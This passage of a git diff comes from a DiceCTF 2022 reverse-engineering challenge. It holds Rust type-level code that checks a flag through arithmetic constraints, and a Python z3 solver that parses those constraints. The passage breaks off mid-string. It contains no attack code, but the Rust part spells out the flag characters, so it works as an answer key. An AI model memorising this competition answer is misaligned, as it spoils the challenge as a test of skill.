Cons { + type Result = Nil; +} +impl Eval for Cons>>> +where + Cons: Eval, +{ + type Result = Cons as Eval>::Result>>; +} + +impl Eval for Cons>> +where + T: Eval, + Cons::Result>: Eval, +{ + type Result = ::Result> as Eval>::Result; +} + + +impl Eval for Cons> +where + T: Eval, +{ + type Result = ::Result; +} +impl Eval for Cons> +where + Cons: Eval, +{ + type Result = Cons as Eval>::Result>; +} + + +impl Eval for Cons { + type Result = Zero; +} +impl Eval for Cons> +where + T: Eval, +{ + type Result = T; +} +impl Eval for Cons>> +where + Q: Eval, + P: Add<::Result>, + Cons::Result>>::Result, T>>: Eval, +{ + type Result = + ::Result>>::Result, T>> as Eval>::Result; +} + + +impl Eval for Cons { + type Result = One; +} +impl Eval for Cons> +where + T: Eval, +{ + type Result = T; +} +impl Eval for Cons>> +where + Q: Eval, + P: Mult<::Result>, + Cons::Result>>::Result, T>>: Eval, +{ + type Result = + ::Result>>::Result, T>> as Eval>::Result; +} + + +type Hundred = >::Result; +trait DiceSkipEveryThird { + const CHAR: char; +} +type Char_ = Zero; +impl DiceSkipEveryThird for Char_ { + const CHAR: char = '_'; +} +type Char0 = One; +impl DiceSkipEveryThird for Char0 { + const CHAR: char = '0'; +} +type Char1 = Two; +impl DiceSkipEveryThird for Char1 { + const CHAR: char = '1'; +} +type Char2 = Three; +impl DiceSkipEveryThird for Char2 { + const CHAR: char = '2'; +} +type Char3 = Four; +impl DiceSkipEveryThird for Char3 { + const CHAR: char = '3'; +} +type Char4 = Five; +impl DiceSkipEveryThird for Char4 { + const CHAR: char = '4'; +} +type Char5 = Six; +impl DiceSkipEveryThird for Char5 { + const CHAR: char = '5'; +} +type Char6 = Seven; +impl DiceSkipEveryThird for Char6 { + const CHAR: char = '6'; +} +type Char7 = Eight; +impl DiceSkipEveryThird for Char7 { + const CHAR: char = '7'; +} +type Char8 = Nine; +impl DiceSkipEveryThird for Char8 { + const CHAR: char = '8'; +} +type Char9 = <>::Result as Add>::Result; +impl DiceSkipEveryThird for Char9 { + const CHAR: char = '9'; +} +type CharA = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharA { + const CHAR: char = 'a'; +} +type CharB = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharB { + const CHAR: char = 'b'; +} +type CharC = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharC { + const CHAR: char = 'c'; +} +type CharD = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharD { + const CHAR: char = 'd'; +} +type CharE = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharE { + const CHAR: char = 'e'; +} +type CharF = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharF { + const CHAR: char = 'f'; +} +type CharG = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharG { + const CHAR: char = 'g'; +} +type CharH = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharH { + const CHAR: char = 'h'; +} +type CharI = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharI { + const CHAR: char = 'i'; +} +type CharJ = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharJ { + const CHAR: char = 'j'; +} +type CharK = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharK { + const CHAR: char = 'k'; +} +type CharL = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharL { + const CHAR: char = 'l'; +} +type CharM = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharM { + const CHAR: char = 'm'; +} +type CharN = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharN { + const CHAR: char = 'n'; +} +type CharO = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharO { + const CHAR: char = 'o'; +} +type CharP = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharP { + const CHAR: char = 'p'; +} +type CharQ = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharQ { + const CHAR: char = 'q'; +} +type CharR = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharR { + const CHAR: char = 'r'; +} +type CharS = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharS { + const CHAR: char = 's'; +} +type CharT = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharT { + const CHAR: char = 't'; +} +type CharU = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharU { + const CHAR: char = 'u'; +} +type CharV = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharV { + const CHAR: char = 'v'; +} +type CharW = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharW { + const CHAR: char = 'w'; +} +type CharX = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharX { + const CHAR: char = 'x'; +} +type CharY = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharY { + const CHAR: char = 'y'; +} +type CharZ = <>::Result as Add>::Result; +impl DiceSkipEveryThird for CharZ { + const CHAR: char = 'z'; +} +type Flag0 = CharL; +type Flag1 = Char1; +type Flag2 = CharS; +type Flag3 = CharP; +type Flag4 = Char_; +type Flag5 = CharI; +type Flag6 = CharN; +type Flag7 = CharS; +type Flag8 = CharI; +type Flag9 = CharD; +type Flag10 = Char3; +type Flag11 = Char_; +type Flag12 = CharR; +type Flag13 = CharU; +type Flag14 = CharS; +type Flag15 = Char7; +type Flag16 = Char_; +type Flag17 = Char9; +type Flag18 = CharA; +type Flag19 = CharF; +type Flag20 = CharH; +type Flag21 = Char1; +type Flag22 = CharN; +type Flag23 = Char2; +type Flag24 = Char3; +type weirdVal = Cons < Cons < Sum , Cons < Flag11 , Cons < Flag13 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag1 , Cons < Flag9 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag5 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag3 , Cons < Flag16 , Cons < < < Ten as Mult < Two > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag12 , Cons < Flag11 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag18 , Cons < Flag17 , Cons < Zero , Nil > > > > , Cons < Cons < Prod , Cons < Flag20 , Cons < Flag11 , Cons < Zero , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag5 , Cons < Flag9 , Cons < Five , Nil > > > > , Cons < Cons < Prod , Cons < Flag2 , Cons < Flag4 , Cons < Five , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag15 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag8 , Cons < Flag24 , Cons < < < Ten as Mult < One > > :: Result as Add < Five > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag11 , Cons < Flag7 , Cons < < < Ten as Mult < Three > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag14 , Cons < Flag21 , Cons < < < Ten as Mult < Two > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag4 , Cons < Flag16 , Cons < Zero , Nil > > > > , Cons < Cons < Prod , Cons < Flag21 , Cons < Flag3 , Cons < < < Ten as Mult < Four > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag16 , Cons < Four , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag3 , Cons < Flag0 , Cons < Four , Nil > > > > , Cons < Cons < Sum , Cons < Flag11 , Cons < Flag10 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag15 , Cons < < < Ten as Mult < Two > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag18 , Cons < Flag5 , Cons < < < Ten as Mult < Three > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag18 , Cons < Flag11 , Cons < Five , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag21 , Cons < < < Ten as Mult < Two > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag13 , Cons < Flag18 , Cons < < < Hundred as Mult < Three > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < One > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag15 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag19 , Cons < Flag23 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag14 , Cons < Flag20 , Cons < < < Ten as Mult < Four > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag21 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag10 , Cons < Flag2 , Cons < < < Ten as Mult < Three > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag10 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag17 , Cons < Flag0 , Cons < < < Hundred as Mult < Two > > :: Result as Add < < < Ten as Mult < One > > :: Result as Add < Nine > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag22 , Cons < Flag23 , Cons < < < Ten as Mult < Two > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag15 , Cons < Flag18 , Cons < < < Ten as Mult < Eight > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag12 , Cons < Flag6 , Cons < < < Ten as Mult < Four > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag22 , Cons < Flag24 , Cons < < < Ten as Mult < Nine > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag0 , Cons < Flag23 , Cons < < < Ten as Mult < Six > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag0 , Cons < Flag5 , Cons < < < Hundred as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag8 , Cons < Flag11 , Cons < < < Ten as Mult < One > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag19 , Cons < Flag13 , Cons < < < Ten as Mult < Four > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag12 , Cons < < < Ten as Mult < One > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag17 , Cons < Flag22 , Cons < < < Hundred as Mult < Two > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < Zero > > :: Result > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag16 , Cons < Flag14 , Cons < < < Ten as Mult < Two > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag18 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag19 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag3 , Cons < < < Ten as Mult < Three > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag16 , Cons < < < Ten as Mult < One > > :: Result as Add < Two > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag10 , Cons < Flag5 , Cons < < < Ten as Mult < Seven > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag19 , Cons < Two , Nil > > > > , Cons < Cons < Prod , Cons < Flag12 , Cons < Flag16 , Cons < Five , Nil > > > > , Cons < Cons < Prod , Cons < Flag24 , Cons < Flag12 , Cons < < < Hundred as Mult < One > > :: Result as Add < < < Ten as Mult < One > > :: Result as Add < Two > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag24 , Cons < Flag16 , Cons < Four , Nil > > > > , Cons < Cons < Sum , Cons < Flag12 , Cons < Flag15 , Cons < < < Ten as Mult < Four > > :: Result as Add < Five > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag1 , Cons < Flag20 , Cons < < < Ten as Mult < Two > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag1 , Cons < Flag17 , Cons < < < Ten as Mult < Two > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag5 , Cons < Flag11 , Cons < < < Ten as Mult < Two > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag5 , Cons < Flag18 , Cons < Eight , Nil > > > > , Cons < Cons < Sum , Cons < Flag16 , Cons < Flag22 , Cons < < < Ten as Mult < Two > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag14 , Cons < Flag3 , Cons < < < Hundred as Mult < Seven > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < Seven > > :: Result > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag6 , Cons < Flag21 , Cons < < < Ten as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag6 , Cons < Flag22 , Cons < < < Ten as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Nil > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ; + +fn print_flag() { println!("dice{{{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}}}", Flag0::CHAR, Flag1::CHAR, Flag2::CHAR, Flag3::CHAR, Flag4::CHAR, Flag5::CHAR, Flag6::CHAR, Flag7::CHAR, Flag8::CHAR, Flag9::CHAR, Flag10::CHAR, Flag11::CHAR, Flag12::CHAR, Flag13::CHAR, Flag14::CHAR, Flag15::CHAR, Flag16::CHAR, Flag17::CHAR, Flag18::CHAR, Flag19::CHAR, Flag20::CHAR, Flag21::CHAR, Flag22::CHAR, Flag23::CHAR, Flag24::CHAR); } + +type Cond3 = Cons< Apply, Cons< Map, Cons, Nil>>>, Nil> > >; +type Cond2 = Cons< Apply, Cons< Map, Cons, Nil>>>, Nil> > >; +type Cond1 = Cons< WTF1, Cons< Cons>>, Cons>>, Nil> > >; +type AssertFlagValid = ::Result; +fn main() { + print_flag(); + let _: AssertFlagValid = panic!(); +} + diff --git a/dicectf-2022/rev/typed_solver.py b/dicectf-2022/rev/typed_solver.py new file mode 100755 index 0000000..77df29b --- /dev/null +++ b/dicectf-2022/rev/typed_solver.py @@ -0,0 +1,227 @@ +import parsy as P +from collections import namedtuple +import z3 + +Cons = namedtuple("Cons", "head tail") + +def Oper(op, lhs, rhs): + if op == "Add": + return Eval(lhs) + Eval(rhs) # Not technically Eval, but good enough for constant values + elif op == "Mult": + return Eval(lhs) * Eval(rhs) # Not technically Eval, but good enough for constant values + else: + assert False, op + +def isNil(x): + return x is Nil or x == "Nil" + +def isCons(x): + return isinstance(x, Cons) + +def Sum(x): + if isNil(x.tail): + return 0 + elif isCons(x.tail) and isNil(x.tail.tail): + Eval(x.tail.head) + return x.tail.head + elif isCons(x.tail) and isCons(x.tail.tail): + return Eval(Cons("Sum", Cons(Oper("Add", x.tail.head, x.tail.tail.head), x.tail.tail.tail))) + else: + assert False + +def Prod(x): + if isNil(x.tail): + return 1 + elif isCons(x.tail) and isNil(x.tail.tail): + Eval(x.tail.head) + return x.tail.head + elif isCons(x.tail) and isCons(x.tail.tail): + return Eval(Cons("Prod", Cons(Oper("Mult", x.tail.head, x.tail.tail.head), x.tail.tail.tail))) + else: + assert False + +def EvalBothAndSub(x): + if isCons(x.tail) and isCons(x.tail.tail) and isNil(x.tail.tail.tail): + X = Eval(x.tail.head) + Y = Eval(x.tail.tail.head) + solv.add(X > Y) + return X - Y + +def ApplyAll(x): + if isCons(x.tail) and isNil(x.tail.tail): + return Eval(x.tail.head) + elif isCons(x.tail) and isCons(x.tail.tail): + return Cons(x.tail.head, Eval(Cons("ApplyAll", x.tail.tail))) + else: + assert False + +def WTF1(x): + if isCons(x.tail) and isNil(x.tail.tail): + return Eval(x.tail.head) + elif isinstance(x.tail, Cons) and isinstance(x.tail.tail, Cons): + Eval(x.tail.head) + return Eval(Cons("WTF1", x.tail.tail)) + else: + print(x) + assert False + +def AssertAllEqual(x): + if isCons(x.tail) and isNil(x.tail.tail): + return 0 + elif isCons(x.tail) and isCons(x.tail.tail): + t = Eval(x.tail.head) + u = Eval(x.tail.tail.head) + solv.add(u == t) + return Eval(Cons("AssertAllEqual", Cons(x.tail.tail.head, x.tail.tail.tail))) + +def AssertNotEqual(x): + if isCons(x.tail) and isCons(x.tail.tail) and isNil(x.tail.tail.tail): + solv.add(Eval(x.tail.head) != Eval(x.tail.tail.head)) + return 0 + else: + assert False + +def Map(x): + if isCons(x.tail) and isNil(x.tail.tail): + return Nil + elif isCons(x.tail) and isCons(x.tail.tail): + s = x.tail.head + w = x.tail.tail.head + t = x.tail.tail.tail + return Cons(Eval(Cons(s, Cons(w, Nil))), Eval(Cons("Map", Cons(s, t)))) + else: + assert False + +def WeirdEquals(x): + if isCons(x.tail) and isNil(x.tail.tail): + sxyt = x.tail.head + if isCons(sxyt.tail) and isCons(sxyt.tail.tail): + s = sxyt.head + x = sxyt.tail.head + yt = sxyt.tail.tail + if isCons(yt.tail) and isNil(yt.tail.tail): + y = yt.head + t = yt.tail.head + return Cons("AssertAllEqual", Cons(Cons(s, Cons(x, Cons(y, Nil))), Cons(t, Nil))) + assert False + +def WeirdNotEquals(x): + if isCons(x.tail) and isNil(x.tail.tail): + sxyt = x.tail.head + if isCons(sxyt.tail) and isCons(sxyt.tail.tail): + s = sxyt.head + x = sxyt.tail.head + yt = sxyt.tail.tail + if isCons(yt.tail) and isNil(yt.tail.tail): + y = yt.head + t = yt.tail.head + return Cons("AssertNotEqual", Cons(Cons(s, Cons(x, Cons(y, Nil))), Cons(t, Nil))) + assert False + + +def EveryThird(x): + if isNil(x.tail): + return Nil + elif isCons(x.tail) and isCons(x.tail.tail) and isCons(x.tail.tail.tail): + return Cons(x.tail.head, Eval(Cons("EveryThird", x.tail.tail.tail.tail))) + else: + assert False + +def SkipEveryThird(x): + if isNil(x.tail): + return Nil + elif isCons(x.tail) and isCons(x.tail.tail) and isCons(x.tail.tail.tail): + return Cons(x.tail.tail.head, Cons(x.tail.tail.tail.head, Eval(Cons("SkipEveryThird", x.tail.tail.tail.tail)))) + else: + assert False + +def Apply(x): + if isinstance(x.tail, Cons) and isinstance(x.tail.tail, Cons) and isNil(x.tail.tail.tail): + s = x.tail.head + t = x.tail.tail.head + return Eval(Cons(s, Eval(t))) + else: + assert False + +def Eval(x): + if x in numbers: + return numbers[x] + if x in lits: + return lits[x] + if isinstance(x, int): + return x + if isinstance(x, str) and x.startswith("Flag"): + return Flag[int(x[4:])] + if isinstance(x, z3.ExprRef): + return x + assert isinstance(x, Cons) + return Eval(x.head)(x) + +numbers = { + "Zero": 0, + "One": 1, + "Two": 2, + "Three": 3, + "Four": 4, + "Five": 5, + "Six": 6, + "Seven": 7, + "Eight": 8, + "Nine": 9, + "Ten": 10, + "Hundred": 100, + } +Nil = object() +lits = {x: eval(x) for x in "Sum Prod EvalBothAndSub ApplyAll WTF1 AssertAllEqual AssertNotEqual Map WeirdEquals WeirdNotEquals EveryThird SkipEveryThird Apply Nil".split()} + +def parse(v): + pExpr = P.forward_declaration() + + @P.generate + def pCons(): + yield P.string("Cons<") + head = yield pExpr + yield P.string(",") + tail = yield pExpr + yield P.string(">") + return Cons(head, tail) + + @P.generate + def pOper(): + yield P.string("<") + lhs = yield pExpr + yield P.string("as") + op = yield P.string("Add") | P.string("Mult") | P.string("SubAndAssertPositive") | P.string("NotEqual") + yield P.string("<") + rhs = yield pExpr + yield P.string(">>::Result") + return Oper(op, lhs, rhs) + + + literals = [P.string(x) for x in numbers.keys()] + [ + P.string(f"Flag{i}") for i in range(26) + ][::-1] + [ + P.string(x) for x in lits.keys() + ] + pLit = literals[0] + for n in literals[1:]: pLit |= n + + pExpr.become(pCons | pOper | pLit) + + v = v.replace(" ", "").replace("\n", "").replace("\t", "") + return pExpr.parse(v) + +checkVal = "Cons < Cons < Sum , Cons < Flag11 , Cons < Flag13 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag1 , Cons < Flag9 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag5 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag3 , Cons < Flag16 , Cons < < < Ten as Mult < Two > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag12 , Cons < Flag11 , Cons < < < Ten as Mult < Two > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag18 , Cons < Flag17 , Cons < Zero , Nil > > > > , Cons < Cons < Prod , Cons < Flag20 , Cons < Flag11 , Cons < Zero , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag5 , Cons < Flag9 , Cons < Five , Nil > > > > , Cons < Cons < Prod , Cons < Flag2 , Cons < Flag4 , Cons < Five , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag15 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag8 , Cons < Flag24 , Cons < < < Ten as Mult < One > > :: Result as Add < Five > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag11 , Cons < Flag7 , Cons < < < Ten as Mult < Three > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag14 , Cons < Flag21 , Cons < < < Ten as Mult < Two > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag4 , Cons < Flag16 , Cons < Zero , Nil > > > > , Cons < Cons < Prod , Cons < Flag21 , Cons < Flag3 , Cons < < < Ten as Mult < Four > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag16 , Cons < Four , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag3 , Cons < Flag0 , Cons < Four , Nil > > > > , Cons < Cons < Sum , Cons < Flag11 , Cons < Flag10 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag15 , Cons < < < Ten as Mult < Two > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag18 , Cons < Flag5 , Cons < < < Ten as Mult < Three > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag18 , Cons < Flag11 , Cons < Five , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag21 , Cons < < < Ten as Mult < Two > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag13 , Cons < Flag18 , Cons < < < Hundred as Mult < Three > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < One > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag15 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag19 , Cons < Flag23 , Cons < < < Ten as Mult < One > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag14 , Cons < Flag20 , Cons < < < Ten as Mult < Four > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag21 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag10 , Cons < Flag2 , Cons < < < Ten as Mult < Three > > :: Result as Add < Three > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag10 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag17 , Cons < Flag0 , Cons < < < Hundred as Mult < Two > > :: Result as Add < < < Ten as Mult < One > > :: Result as Add < Nine > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag22 , Cons < Flag23 , Cons < < < Ten as Mult < Two > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag15 , Cons < Flag18 , Cons < < < Ten as Mult < Eight > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag12 , Cons < Flag6 , Cons < < < Ten as Mult < Four > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag22 , Cons < Flag24 , Cons < < < Ten as Mult < Nine > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag0 , Cons < Flag23 , Cons < < < Ten as Mult < Six > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag0 , Cons < Flag5 , Cons < < < Hundred as Mult < Four > > :: Result as Add < Eight > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag8 , Cons < Flag11 , Cons < < < Ten as Mult < One > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag19 , Cons < Flag13 , Cons < < < Ten as Mult < Four > > :: Result as Add < Seven > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag7 , Cons < Flag12 , Cons < < < Ten as Mult < One > > :: Result as Add < One > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag17 , Cons < Flag22 , Cons < < < Hundred as Mult < Two > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < Zero > > :: Result > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag16 , Cons < Flag14 , Cons < < < Ten as Mult < Two > > :: Result as Add < Nine > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag18 , Cons < < < Ten as Mult < One > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag19 , Cons < Flag4 , Cons < < < Ten as Mult < One > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag24 , Cons < Flag3 , Cons < < < Ten as Mult < Three > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag0 , Cons < Flag16 , Cons < < < Ten as Mult < One > > :: Result as Add < Two > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag10 , Cons < Flag5 , Cons < < < Ten as Mult < Seven > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag20 , Cons < Flag19 , Cons < Two , Nil > > > > , Cons < Cons < Prod , Cons < Flag12 , Cons < Flag16 , Cons < Five , Nil > > > > , Cons < Cons < Prod , Cons < Flag24 , Cons < Flag12 , Cons < < < Hundred as Mult < One > > :: Result as Add < < < Ten as Mult < One > > :: Result as Add < Two > > :: Result > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag24 , Cons < Flag16 , Cons < Four , Nil > > > > , Cons < Cons < Sum , Cons < Flag12 , Cons < Flag15 , Cons < < < Ten as Mult < Four > > :: Result as Add < Five > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag1 , Cons < Flag20 , Cons < < < Ten as Mult < Two > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag1 , Cons < Flag17 , Cons < < < Ten as Mult < Two > > :: Result as Add < Zero > > :: Result , Nil > > > > , Cons < Cons < Sum , Cons < Flag5 , Cons < Flag11 , Cons < < < Ten as Mult < Two > > :: Result as Add < Six > > :: Result , Nil > > > > , Cons < Cons < EvalBothAndSub , Cons < Flag5 , Cons < Flag18 , Cons < Eight , Nil > > > > , Cons < Cons < Sum , Cons < Flag16 , Cons < Flag22 , Cons < < < Ten as Mult < Two > > :: Result as Add < Four > > :: Result , Nil > > > > , Cons < Cons < Prod , Cons < Flag14 , Cons < Flag3 , Cons < < < Hundred as Mult < Seven > > :: Result as Add < < < Ten as Mult < Four > > :: Result as Add < 